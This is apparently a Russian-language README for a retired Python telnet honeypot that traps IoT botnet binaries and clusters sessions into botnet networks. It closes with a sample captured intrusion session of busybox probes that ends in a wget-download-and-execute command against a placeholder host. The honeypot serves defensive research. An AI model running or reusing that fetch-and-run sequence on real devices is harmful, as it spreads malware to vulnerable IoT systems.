
Python telnet honeypot для перехвата бинарных файлов ботнетов
Этот проект больше не поддерживается и не разрабатывается. Он основан на python2, срок поддержки которого истёк в 2020 году, и использует зависимости, которые со временем становятся всё сложнее установить. Используйте на свой страх и риск!
'Python telnet honeypot для перехвата бинарных файлов ботнетов'
Этот проект реализует Python-сервер telnet, который пытается выступать в роли honeypot для вредоносных программ IoT, распространяющихся через ужасно небезопасные пароли по умолчанию на telnet-серверах в интернете.
Honeypot работает путём эмуляции окружения оболочки, как и cowrie (https://github.com/micheloosterhof/cowrie). Цель этого проекта — в первую очередь автоматический анализ соединений ботнетов и "картографирование" ботнетов путём связывания различных соединений и даже сетей вместе.
Приложение имеет клиент-серверную архитектуру: клиент (собственно honeypot) принимает telnet-соединения, а сервер получает информацию о соединениях и выполняет анализ.
Сервер бэкенда предоставляет HTTP-интерфейс, который используется для доступа к фронтенду, а также клиентами для отправки новой информации о соединениях в бэкенд.
Бэкенд использует два различных механизма для автоматической связи соединений:
Сети — это обнаруженные ботнеты. Сеть представляет собой набор всех связанных соединений, URL-адресов и образцов (samples). URL-адреса и образцы связываются, когда они используются в соединении. Два соединения связываются, когда оба соединения получены одним и тем же клиентом honeypot (поддерживается несколько клиентов!) и используют одни и те же учётные данные за короткий промежуток времени (по умолчанию 2 минуты) или приходят с одного IP-адреса.
Несколько сетей идентифицируются как использующие один и тот же тип вредоносного ПО, если текст, вводимый во время сессий этих сетей, в основном одинаков. Это сравнение выполняется с помощью своего рода "хеш"-функции, которая по сути преобразует сессию (или соединение) в последовательность слов, а затем сопоставляет каждое слово с одним байтом, так что результирующая последовательность байтов может быть легко проанализирована.
Приложение имеет конфигурационный файл с именем config.py. Примеры включены для локального развёртывания и развёртывания клиент/сервер.
Бэкенду требуется база данных SQL (по умолчанию sqlite), которая инициализируется при первом запуске. Перед первым запуском следует создать учётную запись администратора, которая используется для создания дополнительных пользователей. Учётная запись администратора также может использоваться непосредственно клиентом для отправки соединений. Если необходимо подключить более одного honeypot, рекомендуется создать нескольких пользователей.
bash create_config.sh
Как клиент, так и бэкенд будут читать файлы config.yaml и config.dist.yaml
для чтения параметров конфигурации. Файл config.dist.yaml содержит
значения по умолчанию для всех параметров, кроме учётных данных администратора, и эти параметры
переопределяются записями в файле config.yaml.
python backend.py
Этот проект содержит собственный honeypot, однако из-за клиент-серверной архитектуры можно использовать и другие honeypot.
python honeypot.py
Клиент не может быть запущен без работающего сервера. Чтобы использовать другую конфигурацию
для клиента, можно использовать ключ -c следующим образом:
python honeypot.py -c myconfig.yaml
Если вы хотите только проверить функциональность honeypot, вы можете запустить клиент в интерактивном режиме:
python honeypot shell
Я написал плагин вывода для cowrie, который имеет гораздо больше возможностей, чем встроенный honeypot. Если вы хотите использовать cowrie вместо него, ознакомьтесь с моим форком, который включает модуль вывода здесь: https://github.com/Phype/cowrie .
После запуска сервера откройте http://127.0.0.1/ в вашем любимом браузере.
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


